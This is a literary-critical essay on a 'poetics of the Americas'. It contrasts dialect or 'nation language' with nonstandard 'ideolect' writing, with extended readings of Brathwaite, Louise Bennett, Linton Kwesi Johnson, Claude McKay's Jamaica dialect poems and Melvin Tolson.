Speaking in Buffalo in 1994, the Argentinean poet Jorge Santiago Perednik ended his talk on cultural resistance to the recent reign of terror in his country by saying "the struggle is impossible and for that reason it took place." 1 Without wanting to violate the cultural specificity of Perednik's comment, I understand this also to mean that poetry, insofar as it resists reification as culturally sanctioned Poetry, is also impossible--and for that reason takes place. For the sake of this context, I would like to add America to this list, for America is impossible and for this reason, also, it exists.
Or Americas, for it is in the resistance to any singular unity of identity that the impossibility of America, of a Poetics of the Americas, may be said to dwell. The cultural space of this impossible America is not carved up by national borders or language borders but transected by innumerable overlaying, contradictory or polydictory, traditions and proclivities and histories and regions and peoples and circumstances and identities and families and collectivities and dissolutions--dialects and ideolects, not National Tongues; localities and habitations, not States.
But such an America is imaginary, for everywhere the local is under fire from the imposed standard of a transnational consumer culture and undermined by the imperative to extract it and export it as product.
In the United States we are particularly bedeviled by our own history of cultural resistance, often confusing the struggles for cultural legitimation of the last century with our own reversed roles in this one. I am thinking of the specific needs, a century ago, that gave rise to the invention of "American literature" as an academic category within the university system that had only recently countenanced English, or British, literature as a suitable appendix to the study of the classics (primarily Greek and Roman works). At that time, there was a clear necessity for breaking away from the perceived limitations of "Island" English literature in order to build an audience for, and give a measure of respectability and legitimation to, certain New England and "middle-Atlantic" and southern English-language texts. "American" in this context was a strategic rather than an essential category; as a result, the multi-ethnic and polylinguistic reality of the U. S. was not accented in early formations of "American literature." By 1925, William Carlos Williams, in In the American Grain, had given new breadth to the concept of America; yet his related insistence on an American speech suggested a false essence to a concept useful only as a negation: NOT English verse diction. That is, as a negative category American literature was a useful hypothesis. In contrast, for the present, the idea of American literature understood as a positive, expressive "totalization" needs to continue to be dismantled.
The problem here is twofold: the totalization of "America" and the globally dominant position of the U. S. Since the U. S. is the dominant English language (as well as Western) nation in the political, economic, and mass-cultural spheres, its monopolizing powers need to be cracked--from the inside and outside--as surely as one version of England's grip on our language's literature needed to be loosened in the nineteenth and early twentieth centuries. The same logic that led to the invention of American, as distinct from English, literature now leads to the invention of, on the one hand, a non-American-centered English-language literature and, on the other, a poetics of the Americas. Any unitary concept of America is an affront to the multiplicity of Americas that makes U. S. culture as vital as it is. America is, to echo Perednik, an "unclassifiable" totality ("PCR"). For there is no one America. The U. S. is less a melting pot than a simultaneity of inconsolable coexistences--from the all-too-audible spokespeople of the state to the ghostly voices of the almost lost languages of the sovereign nations of Arapaho, Mohawk, Shoshone, Pawnee, Pueblo, Navaho, Crow, Cree, Kickapoo, Blackfoot, Cheyenne, Zuni . . . though in truth there are no sovereigns, only sojourners.
For writing, or reading, to assume--and consequently "express" or "project"--a national identity is as problematic as for writing to assume a self or group identity. However, in jettisoning such presumptions, some sense of what such entities might be may be revealed. Such exploratory writing does not escape from its sociohistorical situation but instead contributes to an interrogation and reformulation of thedescription of that sociohistorical situation, foregrounding heterogeneous and anomalous elements rather than homogenizing ones. In contrast, attempts to represent an already constituted idea of identity may preclude the possibility of encountering newly emerging identity formations.
I feel much closer to the concerns of some small-press magazines in the U. K., Canada, New Zealand, and Australia than to most poetry magazines in the U. S. As for the Americas, I would say that L=A=N=G=U=A=G=E and XUL, the Argentinian magazine with which Perednik is associated, probably share more than L=A=N=G=U=A=G=E shared with most other poetry magazines published in New York. 2 The national focus of "American poetry" tends to encamp poets who would do better to share work and readership; similarly, it tends to limit arbitrarily the horizons of much current criticism of poetry. At the same time, "internationalism," like its Anglophonic cousin the "trans-Atlantic," has provided models of connoisseurship that have removed poems from the local contexts that give them meaning while at the same time developing a canon of works that undervalues the untranslatable particularities not only of given poems but also of the selection of poets. (A related problem of decontextualization is apparent in the reception of "Latin American" fiction in the U. S.) Perednik speaks of the serendipitous colliding of different poetries as the "law of poetic coincidence" ("PCR"); this poetic law provides a way to navigate between the universalizing humanisms of internationalism and the parochialism of regionalism and nationalism.
This is not to say that our different national and cultural circumstances are not marked in our poems; on the contrary, it is the insistence on registering these social circumferences in the forms of our poems that may be our shared methodological approach. I am also conscious that U. S. poets tend to be less aware of developments in other English-writing countries than the other way around. Often, our boasting about the significance of a non-European American poetry has deafened us to the newness of English-language poetries and non-English-language poetries even further from Europe than our own, including some being written right in the heart of that "old" world.
The impossible poetics of the Americas does not seek a literature that unifies us as one national or even continental culture--America (the U. S.), North America (the U. S. and Anglophonic Canada), Multicultural North America (Canada, Mexico, and the U. S.), Latin America (south of the U. S.), South America (the seventh continent, since in the U. S. we learn that the Americas are two separate continents). Rather, the impossible poetics of the Americas insists that our commonness is in our partiality and disregard for the norm, the standard, the overarching, the universal. Such poetry will always be despised by those who wish to use literature to foster identification rather than to explore it.
So I hope it will be apparent that while I welcome the challenge of multiculturalism as it has entered U. S. arts and education in the past decade, I continue to find many of its proponents more interested in reinforcing traditional modes of representation than allowing the heterogeneity of forms and peoples that make up the cultural diversity of the Americas to transform poetic styles and personal and group identities. Yet it is hardly surprising that static conceptions of group identity represented by authentic spokespersons continue to ride roughshod over works and individuals whose identities are complex, multiple, mixed, confused, hyperactivated, miscegenated, synthetic, mutant, forming, or virtual.
American literary multiculturalism, insofar as it seeks to promote representative res, runs the risk of becoming a kind of domestic internationalism. When we seek representativeness from a poet we often do so at the cost of misrepresenting the poem. At the same time, official verse culture remains dominated by a poetics of individuality and subjectivity that has tried to remain resistant to (not to say "above") not only questions of identity politics but also aesthetic position, a double evasion often expressed, apparently without irony, as "disaffiliation." The result is an homogenization of poetic values and practices undreamt of among poets willing to acknowledge their affiliations.
The problem is how to pursue affinities while resisting unities and how to resist unities without losing the capacity to be poetically responsible, that is, responsive to and supportive of those poetic tendencies and affiliations that deepen, intensify, and extend the activity of poetry. And that means enacting poetry's contemporaneity--the willingness of poets and ability of poems to act on and in the present social and cultural circumstances, including working with the cultural forms and linguistic materials specific to the present. The point is to pursue the collective and dialogic nature of poetry without necessarily defining the nature of this collectivity--call it a virtual collectivity or, to appropriate Stanley Cavell's phrase for Emersonian moral perfectionism, "this new yet unapproachable America": this unrepresentable yet ever presenting collectivity. 3
In a recent book, Modernisms: A Literary Guide, the British critic Peter Nicholls schematically contrasts two modernisms that may be applied to American poetry. The first and more familiar kind, associated with a partial reading of Ezra Pound and T. S. Eliot, "rests," in the words of Peter Quartermain, "upon assumptions of a unitary self that carefully differentiates itself from the world of the Object and thus asserts codes of mastery." 4 In this type of modernism, the poem imposes a (masculine) order and form on the (feminine) flux of modern world; the self is imagined as closed, autonomous, distant, and antagonistic in its effort to establish stable authority. Another modernism can be associated especially with Gertrude Stein and her nonsymbological or constructive practice. In Nicholls's words, this poetic practice is "preoccupied with what seems other but turns out to be the same," thus unsettling the autonomy of the self central to the first type of modernism. 5 "Stein shares with H. D. the desire to move beyond the object-based poetics which derives its force from the repudiation of the feminine, and to discover in its place a form of writing that reveals continuities between self and world" by opening the self to that which is outside it. 6
I would propose at least three modernist projects: subjective, objective, and constructive. By nonsymbological or constructive, I am referring to the fact that in many of her works Stein does not depend upon supplemental literary or narrative contexts to secure her meaning but enacts her subjects as continuously actualized presentations of meaning. Unlike Pound or Eliot, with their myriad literary and other references, or James Joyce, with his etymological anaphora, with Stein you are left with the words on the page and the Imaginary structures they build.
In the poetry of the past two decades, I think we have moved away from the choice of subjective, objective, or even constructive and toward a synthesizing or juxtaposing of these approaches. Here the influence of the dialect poetries of the modernist period gives way to a dialectical poetry that refuses allegiance to standard English without necessarily basing its claim on an affiliation with a definable group's speaking practice. The norm enforces a conduct of representation that precludes poetry as an active agent to further thought, unbound to the restrictions of rationalized ordering systems. Poetry can be a process of thinking rather than a report of things already settled, an investigation of ration rather than a picture of something red out. Such ideologically informed nonstandard language practice I call "ideolectical"; I find it equally present in British poets such as Maggie O'Sullivan, Tom Leonard, and Tom Raworth; in U. S. poets such as Susan Howe, Bruce Andrews, Lyn Hejinian, Leslie Scalapino, Harryette Mullen, Clark Coolidge, and Nathaniel Mackey; in Canadian poets such as Steve McCaffery, Deanna Ferguson, Nicole Brossard, and Karen MacCormack; or in such South American poets as Perednik and Cecilia Vicuna. 7
The invention of an ideolectical English-language poetry as a poetry of the Americas involves the replacement of the national and geographically centered category of English (or Spanish) poetry not with the equally essentialist category of American poetry but with a field of potentialities, a virtual America that we approach but never possess. English languages, set adrift from the sight/sound sensorium of the concrete experiences of the English people, are at their hearts uprooted and translated: nomadic in origin, absolutely particular in practice. Invention in this context is not a matter of choice: it is as necessary as the ground we walk on.
The impossible poetics of the Americas of which I speak has, in the U. S., a history of breaks from the received literary language of England. The vernacular was a crucial factor in many of those breaks, particularly as explored by African American poets such as Paul Laurence Dunbar, Langston Hughes, Sterling Brown, J. W. Johnson, and Melvin Tolson. At the same time, the American language was being transformed by the "bad" or "broken" English of the European immigrants from the 1880s through the early years of the new century: new syntaxes, new expressions came along with the new world. Here it is significant that Williams, Stein, Louis Zukofsky, and other makers of a new American poetry were themselves second-language speakers of English, while others were children of second-language speakers. 8 For these children of immigrants, English became less transparent, more a medium subject to reforming. Correlatively, on the other side of the Atlantic, the explorations of dialect traditions by Basil Bunting and Hugh MacDiarmid, and in the Caribbean by Claude McKay and more recently by Linton Kwesi Johnson, Louise Bennett, Michael Smith, or Kamau Brathwaite (who rejects the term "dialect," preferring "nation language"), become a source of shared language resources among English-language poetries.
I realize that my emphasis on nonstandard language practices makes for unexpected affiliations. Tony Crowley, in Standard English and the Politics of Language, points to two senses of "standard." A standard is a rallying point for the forward movement of an ideology or group, by means of which a unity is invoked, as for example a flag in battle. But a standard is also an objective unit of measure and regulator of uniformity, and as such a product of normalization and averaging. Standard American English involves both these senses: it is a sociohistorical construction, embedding class, ethnic, and racial preferences, that serves to build national unity; it is also a regulator of language practices, serving to curb deviance. Under the aegis of standardization, problems of social coherence are displaced onto questions of linguistic correctness:
The search for linguistic unity and identity is one that is founded on acts of violence and repression: a denial of heteroglossia--discursive and historical--in favour of centralizing, static forms. And the victory of one dialect or language over others produces a hierarchy, an ordering of discourse which excludes, distributes and defines what is to count as discourse and what is to be relegated to oblivion. It brings into being the "authoritative word" [that in Bakhtin's words] "is located in a distanced zone, organically connected with a past that is felt to be organically higher. It is, so to speak, the word of the fathers." There is then no possibility of challenging this discourse. . . . Its authority is already borne along with it and it is the authority of the ruling patriarchal tradition. 9
In "our" "own" literature, the most significant past debates on these issues took place in two distinct quarters. Disowning and deflating the "authoritative word" was a central project for Stein and other constructivist poets of the modernist period. Even more explicitly, however, standard English was the center of a debate that took place in the frame of the Harlem Renaissance, itself a geographic displacement of what is more accurately described as African American arts of the 1920s and 1930s. Writers such as Hughes and Brown invented and defended a vernacular poetry that refused the standards of literary English advocated by poets such as Countee Cullen: a controversy that in many ways echoes the debate between Booker T. Washington and W. E. B. DuBois. The issue in both controversies is the nature, terms, and price of assimilation.
As our literary history is usually told, the nonstandard language practices of the radical modernists and their descendants are not linked to the dialect and vernacular practices of African American poets. 10 But the construction of a vernacular poetry was a major project for many poets, black and white, during the modernist period, and the fact that these developments often took place without reference to each other--the fact of the color line--should not now obscure their intimate formal and sociohistorical connections. Stein's breakthrough into the ideolectical practice of Tender Buttons, for example, was prepared by her problematic improvisations on African American vernacular in "Melanctha." A generation later, both Tolson and Zukofsky used complex literary framing devices as a means of working with and against--I'd say torquing--vernacular linguistic materials. By linking dialect and ideolect I wish to emphasize the common ground of linguistic exploration, the invention of new syntaxes as akin to the invention of new Americas, or of new possibilities for America. In Brathwaite's account, however, dialect is better called "nation language" and if that is the case it would seem to run counter to ideolect, whose nations may be described, in Robin Blaser's phrase, as image nations, imaginary, ideological; dialectical in that other sense. 11 I don't wish to relieve this tension so much as try to locate it as pivotal to our literary history and contemporary poetics. I am convinced, however, that nonstandard writing practices share a technical commonality that overrides the necessary differences in interpretation and motivation, and this commonality may be the vortical prosodic force that gives us footing with one another.
In History of the Voice, Brathwaite's 1979 talk about the "process of using English in a different way from the 'norm,'" Brathwaite speaks of the break with the pentameter metric of English verse as decisive in establishing a distinct Caribbean national language rooted in an oral tradition:
It is nation language in the Caribbean that, in fact, largely ignores the pentameter. . . . English it may be in terms of some of its lexical features. But in its contours, its rhythms and timbre, its sound explosions, it is not English, even though the words, as you hear them, might be English to a greater or lesser degree. . . . But it is an English which is not the standard, imported, educated English. . . . It is what I call, as I say, nation language. I use the term in contrast to dialect. The word "dialect" has been bandied about for a long time, and it carries very pejorative overtones. . . . Nation language, on the other hand, is the submerged area of dialect which is much more closely allied to the African aspect of experience in the Caribbean. 12
Brathwaite's nation language is as much a new standard to rally national spirit as it is a break from standardization. Any comparison of ideolectical and dialectical poetry must confront this obvious contradiction: dialect, understood as nation language, has a centripetal force, regrouping often denigrated and dispirited language practices around a common center; ideolect, in contrast, suggests a centrifugal force moving away from normative practices without necessarily replacing them with a new center of gravity, at least defined by self or group. Furthermore, the social positions from which these practices emerge will often be quite distinct. Dialect poets may be regarded by the dominant literary culture as outsiders, but they are often also at the center of collective formations that are struggling to obtain self-respect and cultural legitimacy. Ideolect poets often eschew the center with which they may be associated by education or social position, to the point of refusing the collective identities with which they might otherwise be affiliated.
The work of Bunting and MacDiarmid is useful to consider in this respect for they are both poets whose work, dialect and not, insisted on a "northern" identity--Northumbrian and Scottish--while rejecting closed forms of Northumbrian or Scots nationalism. MacDiarmid's sympathy for but ultimate rejection by both Communist and nationalist political parties is exemplary of the tension between localism and socialism or anarchism. Writing next to the Island center of traditional English verse, their poetry skirts the distinction between dialect and ideolect in a continuing dialogue between language and place that dances around and within such ideological fractures and fractals, exposing the materiality of sound patterns to the territorialization of desire. MacDiarmid and Bunting had to invent aspects of the Scots and Northumbrian in A Drunk Man Looks at the Thistle and Briggflatts (although the inventions were quite different in each case). Briggflatts is more a work of constructed syntax than an idiomatic reconstruction of an oral tradition; aurality is its most salient feature. 13 If we understand the direction of "English" away from its Island-English center as a structural question, then we can begin to see links among poetic projects involving secession, dispersal, and regrouping. We may understand disparate practices as sharing a poetic space that is grounded not in an identical social position but in the English language itself as the material with which we make our regroupings and refoundings. Never just English but always a new English that is an object and a subject of our Verse. As Louise Bennett so eloquently and hilariously points out in her 1944 poem "Bans O' Killing," this issue is as much one of the past as of the present and future:
So yuh a de man, me hear bout!

Ef yuh kean sing "Linstead Market"
An "Wata come a me y'eye,"
Yuh wi haffi tap sing "Auld lang syne"
An "Comin thru de rye."
Dah language weh yuh proad o',
Weh yuh honour and respeck,
Po' Mass Charlie! Yuh noh know sey
Dat it spring from dialect!
Dat dem start fe try tun language,
From de fourteen century,
Five hundred years gawn an dem got
More dialect dan we!
Yuh wi haffe kill de Lancashire
De Yorkshire, de Cockney
De broad Scotch an de Irish brogue
Before yuh start to kill me!
Yuh wi haffe get de Oxford book
O' English verse, an tear
Out Chaucer, Burns, Lady Grizelle
An plenty o' Shakespeare!

An mine how yuh dah-read dem English
Book deh pon yuh shelf
For ef yuh drop a "h" yuh mighta
Haffe kill yuhself. 14
Bennett's wit makes all the more disturbing her point that suppression of "Variety" in language produces the cultural suppression of a people: "Bans O' Killing." A people invents and sustains itself through its shared language, so it is not surprising that colonial governments have often prohibited the use of native languages, dialects, patois, creoles, and pidgins in an effort to maintain social control. Bennett, all of whose poetry is written in Jamaican idiom, points to, and defuses, the stigma attached to dialect use; but she also makes patent the deep social scar left by the denigration of a particular language practice as inferior. In this sense, dialect becomes the verbal equivalent of skin color: an "objective" mark of alterity.
The explicitly political use of dialect in contemporary poetry is apparent in the work of Jamaican "dub" poet Michael Smith, even as he toys with old English rhymes:
Say
Natty-Natty,
no bodder
das weh
yuh culture! 15
Or consider not only Linton Kwesi Johnson's deforming spelling of Inglan but also these raucous lyrics from "Fite Dem Back" in Inglan Is a Bitch:
we gonna smash their brains in
cause they ain't got nofink in 'em . . .
fashist an di attack
noh baddah worry 'bout dat 16
where "brains" is spelled in the standard fashion but "fascist" manages to suggest "shit" and "nothing," "fink." Similarly, in "Sonny's Lettah," Johnson can use a traditional, heavily rhyming "letter from jail" form more effectively than any contemporary poet I can think of. 17 "For these inheritors of the revolution," says Brathwaite, "nation-language [sic] is no longer anything to argue about or experiment with; it is their classical norm and comes out of the same experience as the music of contemporary popular songs: using the same riddims, the same voice-spreads, syllable clusters, blue notes, ostinado, syncopation, and pauses." (HV, 45-46) The British poet John Agard puts the case directly, in "Listen Mr Oxford Don":
I ent have no gun
I ent have no knife
but mugging de Queen's English
is the story of my life
I dont need no axe
to split / up yu syntax
I dont need no hammer
to mash / up yu grammar 18
As Brathwaite puts it, "It was in language that the slave was perhaps most successfully imprisoned by his master, and it was in his (mis-)use of it that he perhaps most effectively rebelled." 19
But rebelled into what? Not, I think, a more authentic representation of speech but an even more marvelous realization of the yammering gap between speech and writing (the stammering gaps among speeches and writings). 20 "Writing wrongs speech," as Neil Schmitz puts it in Of Huck and Alice. 21 In these senses, the nonstandard spelling of dialect writing doesn't so much transcribe words as it underscores the sensuous/sinuous materiality of language. The pleasure is in this play between the written word and the impossible objects of its desires.
Little has been written about Claude McKay's early dialect work, no doubt due to the ambiguous status of certain literary dialect practices even for such eloquent proponents of nation language as Brathwaite: 22
McKay's first two books of poetry , written in Jamaica, are unique in that they are the first all-dialect collections of an anglophone Caribbean poet. They are however dialect as distinct from nation because McKay allowed himself to be imprisoned in the pentameter; he didn't let his language find its own parameters. [HV, 20]
Dialect practice can appear to be a form of self-deprecation as it approaches "black face"--the minstrel mocking of black vernacular by white as well as black performers. As Brathwaite remarks:
Dialect is thought of as "bad English." Dialect is "inferior English." Dialect is the language when you want to make fun of someone. Caricature speaks in dialect. Dialect has a long history of coming from the plantation where people's dignity is distorted through their language and the descriptions which the dialect gave to them. [HV, 13]
The anxiety of dialect is inscribed already in Paul Laurence Dunbar's work, where poems in "plantation" dialect are placed side by side with poems in standard English, both sharing the heavily accented pentameter that for Brathwaite marks them as problematic but that nonetheless makes Dunbar's Collected Poems one of the most unsettling and provocative works of early modernism. Brathwaite goes on to criticize McKay for his turn to the sonnet in the poems for which he is most famous, noting the heavy cost of McKay's desire for "universality" (HV, 20). This echoes the debate between advocates of standard literary verse such as Countee Cullen and practitioners of the vernacular such as Sterling Brown, a debate that is at the heart of Houston Baker's Modernism and the Harlem Renaissance. Baker identifies the controversy as between "mastery of form" and the "deformation of mastery." 23 In contrast to my approach here, Baker champions the assimilationist poetics of Cullen and Washington, arguing for the long-term efficacy of using dominant cultural forms as one would a mask, to provide camouflage while precluding total identification. At the same time, he rebukes, unfortunately in my view, what he calls the "guerrilla" 24 tactics of resistance and secession represented by Dunbar and others involved with "sounding" "deformation," a position he associates with DuBois. 25
The use of dialectical or ideolectical language in a poem marks a refusal of standard English as the common ground of communication. For poets wishing to obliterate or overcome such marks of difference, the choice of the conventional literary language, whether understood as mask or not, reflects a willingness to abide by the linguistic norms of a culture and to negotiate within these norms. Nonstandard language practice suggests an element of cultural resistance that has as its lower limit dialogic self-questioning and as its upper limit secession and autonomy.
Cullen took up the forms valued as universal by a dominant culture in which the use of African American, as opposed to midwestern or northeastern, dialect was taken to be a mark of inferiority; his work wears its humanity on its sleeve, the only place where it could be seen in a society defined in large measure by the color line. In such a reading, Cullen can be understood as an American pragmatist par excellence.
Brathwaite, an advocate of nation language, that is, of linguistic autonomy and self-sufficiency, makes an argument against the compromised form of dialect practiced by McKay, seeing it, at best, as the beginning of a cultural practice that comes to fruition, in the Caribbean, with Bennett, Smith, Johnson, and his own work. In the U. S. during the modernist period, Sterling Brown is probably the foremost practitioner of such a poetics. For Brathwaite, nation language is not a deformation of mastery but the sign of a newly forming collective identity. It moves beyond critique and subversion to positive expressivity; that is, beyond a bogus universality to what Brathwaite, problematically in my view, understands as a genuine locality.
The tension between universality and locality is not simply a deformation or an embryonic phase of group consciousness to be shed at maturity. Against the positive expressivity of nation language I would speak of the negative dialectics of ideolect, where ideolect would mark those poetic sites of contest between the hegemonic and the subaltern, to use the terms of Antonio Gramsci. Here indeed would be a poetics of compromise and dependency--of hybridization and contradiction and multivocality. Under this sign of radical modernism, I would include not only Dunbar and McKay, but also Hughes, Tolson, and Jean Toomer; and I would add, among others, in the U. S., Zukofsky, Hart Crane, and Abraham Lincoln Gillespie, and in the U. K., Bunting and MacDiarmid.
One thing these poets have in common is the influence of Marxism on their poetic practice (Toomer may be the exception). 26 Marxism is a universalist philosophy with a checkered history of (often contradictory) critiques of nationalism as well as ethnic, racial, and sexual essentialisms. Perhaps the most useful approach to this issue is found in the work of Gramsci, a Sardinian Marxist whose critique of hegemony is grounded in his own experience as a "subaltern" southerner whose language was marked as inferior by its dialectical difference from the Italian of the north.
In considering the internal contradictions between the local and the universal, the subaltern and the hegemonic, I turn to McKay, who, in poems of breathtaking duplicity and paradox, uses proto-Marxist ideas of universalism to contest the hegemony of British culture in Jamaica. In 1912, when he was twenty-two and still living in Jamaica, McKay published two collections of dialect poetry, Songs of Jamaica and Constab Ballads. No one reading or commenting on these poems can fail to note the many compromising aspects of this collection. Most obvious are running translations and glosses at the foot of each page, providing unnecessary and misleading translations of dialect words and often giving blatantly, not to say comically, ameliorist interpretations of the poems. Like Dunbar's Collected Poems, McKay's dialect poetry is a schizophrenic presentation, foregrounding two unequally powerful readerships, black and white. Given McKay's association with, as Brathwaite puts it, "a Svengali like Walter Jekyll" (HV, 20), the controlling hand of white editorial authority is always present on the page. 27 Another equally marked gesture of "complicity" is the title Constab Ballads itself, for what kind of poetic autonomy can we expect from poems written from the point of view of a Jamaican native working for the British as a policeman?
How is it possible for an act of linguistic defiance bordering on revolt to appear in a cultural space that would surpass any explicit expression of political opposition? In The Practice of Everyday Life (Arts de faire, literally, "the art of doing"), in a section titled "a diversionary practice," Michel de Certeau speaks of an "enunciative" tactic he calls "la perruque" or the wig: 28
La perruque is the worker's own work disguised as work for his employer. . . . It differs from pilfering in that nothing of material value is stolen. It differs from absenteeism in that the worker is officially on the job. . . . The worker who indulges in la perruque actually diverts time (not goods, since he uses only scraps) . . . for work that is free, creative, and precisely not directed toward profit. . . . [P, 25]
. . . To deal with everyday tactics in this way would be to practice an "ordinary" art, to find oneself in the common situation, and to make a kind of perruque of writing itself. [P, 28]
In McKay's 1912 collections, pentameter dialect is the ruse or wig that allows a running double play of ingratiation and defiance. For the "white" audience, the dialect plays as minstrel show: charming, even ingratiating in its gratuitous nods to British sentiment and in its self-glossing self-deprecations. At the same time, the poems compose a song to the aesthetic power of difference, of the sonic and semantic richness of vernacular Jamaican, while in their themes they corrode the very authoritativeness to which they appear to be kowtowing, accumulating a counterhegemonic force that mocks every surface pretence of accommodation. This double play brings to mind Melville's Benito Cereno, which, as Aldon Nielsen points out "is a dramatization of the white racist mind not reacting in the face of a slave insurrection; for the dramatic irony of the novel derives from Delano's inability to recognize that which is palpably before him. He is so much inhabited by the discourse agreements of white mythology" that he (mis)interprets "the actuality of the slave revolt" as stereotypical gestures of "servile loyalty." 29
Certainly the most ingratiatingly anglophilic, doggedly iambic, and apparently self-deprecating poem in Songs of Jamaica is "Old England":
Just to view de homeland England, in de streets of London walk . . .
I would see Saint Paul's Cathedral, an' would hear some of de great
Learnin' comin' from de bishops, preachin' relics of old fait';
I would ope me mout' wid wonder at de massive organ soun',
An' would 'train me eyes to see de beauty lyin' all aroun'
I'd go to de City Temple, where de old fait' is a wreck
An' de parson is a-preachin' views dat most folks will not tek;
I'd go where de men of science meet togeder in deir hall,
To give light unto de real truths, to obey king Reason's call. 30
On the surface, this is a poem of nostalgia and complacency, even ending on the subservient note of the native returning home from the Mother country, resting "glad an' contented in me min' for evermore" (DP, 65). No wonder Brathwaite points to this poem as an example of McKay's "literary colonialism in the primordial (?) anglicanism" (HV, 20). But the poem overplays the sentiment in a way that, at least at the distance from which I am reading it, calls attention to itself, or calls for a different kind of attention, a reading between the lines. What, after all, is this "great / Learning" coming from "relics" of an "old fait'" but the old fate of racism and colonialism; what is this "beauty lyin' all aroun'" but more relics of lying beauty, overturned by the "real truths" or Reason. For this poem, after all, is unambiguous in enforcing the truths (plural) or Reason (capital R): the cant of the preachers is a lying beauty, a wreck of learning that appears beautiful or truthful only with eyes "trained" (by whom?). Read as wig, the poem begins to destabilize, though a line like "I would ope me mout' wid wonder at de massive organ soun'" remains difficult, as far as I can see, to turn round. Yet even the textual glosses can seem to take on significance; here, only two words, among a number equally nonstandard, are singled out for definition: "t'o't"--thought (DP, 63), and "min"--mind (DP, 65). It's as if we are to be reminded that the "native" has thoughts and a mind of his own: in this sense mine is synonymous with mind. Perhaps this poem is not so far from Louise Bennett's work after all, considering that McKay's work was Bennett's first example of Jamaican dialect poetry (HV, 28). Even the "old" in "Old England" begins to seem more ominous.
Am I overreading? McKay is careful to note in A Long Way from Home that he became a "free-thinker" before he was thirteen, discovering "like a comet . . . the romance of science in Huxley's Man's Place in Nature and Haeckel's The Riddle of the Universe." 31 By the time he was writing Songs of Jamaica and Constab Ballads, McKay was steeped in Baruch Spinoza (for a while he considered himself a pantheist), Schopenhauer, and Herbert Spencer (and by extension Erasmus Darwin).
Consider McKay's "Cudjoe Fresh from de Lecture" about "How de buccra te-day tek time an' bégin teach / All of us dat was deh in a clear open speach" (DP, 55). The buccra's, or white man's, "open speech" is about evolution, a humanist scientific theory that, in Cudjoe's interpretation, undermines the racist ideas that are lived out in the plantation system reflected in the "imprisoned pentameter," or closed (constrained) speech, of the poem: "Him tell us 'bout we self, an' mek we fresh again" (DP, 55). This idea of being made "fresh" (not used, exploited) is what Cudjoe tells as the urgent "news" (DP, 55) from this lecture:
Me look 'pon me black 'kin, an' so me head grow big, . . .
For ebery single man, no car' about dem rank,
Him bring us ebery one an' put 'pon same plank.
 On one reading "me head grow big" has the same stereotyping gesture of self-patronization as "ope me mout' wid wonder," but taken literally it means the opposite--the news reverses the patronizing of Cudjoe and his kin, returns heads to actual size. If the evolution "tell us 'traight 'bout how de whole t'ing came" (DP, 56), then Christianity, which preaches that blackness is a "cuss," tells it crooked: "An' looking close at t'ings, we hab to pray quite hard / Fe swaller wha' him say an' don't t'ink bad o' Gahd." (DP, 56) Ingratiation or defiance hidden in a smirk as broad as the face of "Gahd"? If evolution preaches chance not predetermination, then the scenario of Benito Cereno is closer to hand, for no natural law precludes the justice of insurrection (the hound, let's say, being on the other tooth): "But suppose eberyt'ing could tu'n right upside down, / Den p'rhaps we'd be on top an' givin' some one houn'." (DP, 57) The very next stanza quells such an interpretation, noting that were the Africans not brought to the Americas they might still be "half-naked . . . tearin' t'rough de bush wid all de monkey" (DP, 57)--"Wile an' uncibilise', an' neber comin' tame." (DP, 57) Yet the poem is not about the taming effect of this "clear open speech" but how this way of thinking inspires strong feelings that lead to Cudjoe's own uncorked "talk." Acknowledging that his talk is going in two directions, Cudjoe then ends by saying maybe not:
Yet both horse partly runnin' in de selfsame gallop
For it is nearly so de way de buccra pull up:
Him say, how de wul' stan', dat right will neber be,
But wrong will eber gwon till dis wul' en' fe we.
[DP, 58]
The buccra stops the gallop of Cudjoe's racing thoughts by saying right will never be. But the last line of the poem is ambiguous: for if wrong will grow till this world ends for us, doesn't that mean that we will have to end it ourselves, so that we may establish the truth of a new world? I hear this, anyway, with all the doubling I have so far noted, in the title of a poem that might be read as a hymn to accommodation, "Whe' Fe Do?" The gloss provided for this title encapsulates the issues sharply; it runs like this: "What to do?--equivalent to 'What can't be cured, must be endured.'" (DP, 27) Each stanza of the poem ends with a variation on the title's question: "All we can do" (DP, 27); "Dat we might do" (DP, 27); "For dat caan' do" (DP, 28); "Whe' else fe do?" (DP, 28); "De best to do," (DP, 28); and finally "But whe' fe do?" (DP, 29). But can't (caan') the title also mean What Is to Be Done?--all that can be done, what's best to do, what must be done?
What to make of this? In McKay's Jamaica poems, iambic pentameter is made the metrical mark of colonialism, the chains around a corrosive dialect. Pentameter is used to serve as the acoustic trappings of "old England," yoked to a diffident creole, the weird ordinary of verse dialect. It is an oxymoronic form. In this sense, the dialect poems have a similar implosive power to McKay's "If We Must Die," written five years after his move to the U. S. in 1914, which creates a tension between the conventional expectations of the Elizabethan sonnet form and the violent and unsettling subject matter.
Claude McKay's Jamaica poems are not free verse. They are marked by their uneasy relation to the cultural regime under which they were written. But what is the natural form for a vernacular poetry? 32 MacDiarmid and Bunting offer a radically modernist setting for their dialect work that is a far cry from the more direct, sometimes ethnographic, representations of Sterling Brown. Hughes's style is fluid but often sets itself apart from the quoted vernacular that peoples his work (as in "The Weary Blues"); unlike in Brown, identification with the demotic voices is not total. In his Harlem Gallery: Book I, The Curator, Melvin Tolson chooses a radically defamiliarizing form to set his multilectical excursions:
High as the ace of trumps,
as egghead says, "'The artist is a strange bird,' Lenin says."
Dipping in every direction like a quaquaversal,
the M. C. guffaws: "Hideho, that swig would make
a squirrel spit in the eye of a bulldog!"
Bedlam beggars
at a poet's feast in a people's dusk of dawn counterpoint
protest and pride
in honkey tonk rhythms
hot as an ache in a cold hand warmed. . . .
A Creole co-ed from Basin street by way of
Morningside Heights . . .
brushes my shattered cocktail glass into a tray . . .
O spiritual, work-song, ragtime, blues jazz--
consorts of
the march, quadrille, polka, and waltz!
33
This is neither universal poetry nor nation language; it is "quaquaversal poetry," a close relative to ideolect. Tolson's hybridization of discourse, featuring the music of shattering glass (pentameter anyone?) on the tray of a Creole co-ed from New Orleans by way of the Upper West Side, mixes cultural references with the sophisticated élan of a poet who makes language his home: the poet's feast is this counterpoint of contrasting rhythms, protest, and pride. It's not that the indigenous cultural forms of African Americans--spiritual, work song, ragtime, and blues, so remarkably and directly charted in Brown's poetry--are the same as the European dance forms, but that a process of Creolization is underway: they consort with each in the dance of America.
